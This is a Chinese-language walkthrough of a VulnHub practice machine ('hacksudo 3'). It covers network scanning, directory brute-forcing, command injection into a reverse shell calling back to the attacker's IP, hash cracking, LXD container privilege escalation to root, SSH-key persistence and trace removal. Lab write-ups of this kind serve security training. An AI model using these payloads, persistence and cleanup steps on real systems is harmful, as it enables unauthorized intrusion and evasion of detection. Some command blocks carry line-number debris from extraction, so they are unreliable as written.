靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/
# 确认攻击目标
攻击机 KALI: 192.168.31.135
 靶机 HACKSUDO:桥接于 1 92.168.31.1 的网卡,ip 未知
- 通过 netdiscover 扫描当前网卡里边有哪些机器
 sudo netdiscover -i eth0 -r 192.168.31.0/24
![]()
- 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
| 12
 3
 4
 5
 
 | # shellcat > myip.txt << EOF
 192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
 192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
 EOF
 
 | 
- 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
 sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
![Image]() 
-> 目标机器的 ip 地址: 192.168.31.141
# 端口扫描
sudo nmap -A -p 1-1024 192.168.31.141 - oN /tmp/hacksudo.txt
![Image]() 
# 目录爆破并反弹 shell
打开网站:http://192.168.31.141
- 对此网站进行目录扫描
 dirsearch -u http://192.168.31.141
![Image]() 
http://192.168.31.141/login.php 尝试弱口令,万能密码均失败
- 加载比较全面一点的字典,来扩大目录,看是否能得到更多的信息
| 12
 
 | gobuster dir -u http://192.168.31.141 -x php,txt,html,bak,zip -w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 
 | 
![Image]() 
-> http://192.168.31.141/generator.php# 存在 REC 代码执行漏洞
- 对 http://192.168.31.141/generator.php# 网站进行攻击
疑似 figlet xx 的命令,构造 figlet xx&ls 可执行更多的 linux 命令
| 12
 3
 
 | # 在此位置输入反弹shell的命令,并监听端口nc lvvp 4444
 1 & bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
 
 | 
![Image]() 
| 12
 3
 4
 
 | # 使终端窗口变为一个标准的终端python3 -c 'import pty;pty.spawn("/bin/bash")' - > ctrl+z
 stty raw -echo;fg -> enter,enter
 export TERM=xterm
 
 | 
![Image]() 
# 凯撒加密
翻阅文件,这里找到一个类似于 “凯撒加密” 的文件
提示:凯撒密码是一种位移加密方式,只对 26 个字母进行位移替换加密,规则简单。例如,当偏移量是 2 的时候,所有的字母 A 将被替换成 C,B 变成 D,以此类推。如果您输入的是中英文组合,则只会对英文加密解密
![]()
在线进行凯撒解密,偏移为 13 :http://moersima.00cha.net/kaisamima.asp
![]()
| 12
 3
 
 | # 解密后的数据为:hacksudo locker SSH username:hacksudo
 password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62 447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b
 
 | 
# SHA 512 加密
密码又被进行了一层 hash 散列加密
在线 hash 解密:https://crackstation.net/
![]()
-> 得到 hacksudo 的用户名:hacksudo 密码:vishal
![]()
# LXD 提权
发现了 id 之后有 lxd 补充组,尝试 lxd 提权
 lxd 提权指南:https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | # 在kali机器上下载lxd的文件,并通过scp发送至靶机:wget https://github.com/saghul/lxd-alpine-builder/archive/refs/heads/master.zip
 scp -r parallels@192.168.31.135:~/Desktop/tool/lxd/lxd /tmp/lxd
 
 # 自定义镜像
 sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-
 releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-
 alpine
 sudo ./build-alpine -a i
 
 # 引入镜像
 lxc image import alpine*.tar.gz --alias myimage
 lxd init
 lxc init myimage mycontainer -c security.privileged=true
 lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
 recursive=true
 lxc start mycontainer
 lxc exec mycontainer /bin/sh
 
 | 
![Image]() 
# 配置 ssh-keygen 维权
- 服务器操作
| 12
 3
 4
 5
 
 | # 生成私钥和公钥:ssh-keygen -t rsa
 
 # 保存公钥至认证文件:
 cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
 
 | 
- 客户端操作:
| 12
 3
 4
 5
 6
 7
 8
 
 | # 下载私钥: scp hacksudo@192.168.31.141:~/.ssh/id_rsa.
 
 # 改变文件权限:
 chmod 700 vulnhub_hacksudo
 
 # 免密登陆服务器:
 ssh hacksudo@192.168.31.141 -i ~/.ssh/vulnhub_hacksudo
 
 | 
- 靶机消除痕迹
| 12
 
 | # 销毁服务端的痕迹:rm -f ~/.ssh/id_rsa && rm -f ~/.ssh/id_rsa.pub
 
 | 
![Image]() 
-> 免密登陆 root 失败,但可以免密登陆账户 hacksudo
| 12
 3
 4
 5
 
 | # 下次登陆此服务器需要 ssh hacksudo@192.168.31.141
 
 # 在hacksudo账户内使用如下命令可直接进入root
 lxc exec mycontainer /bin/sh
 
 |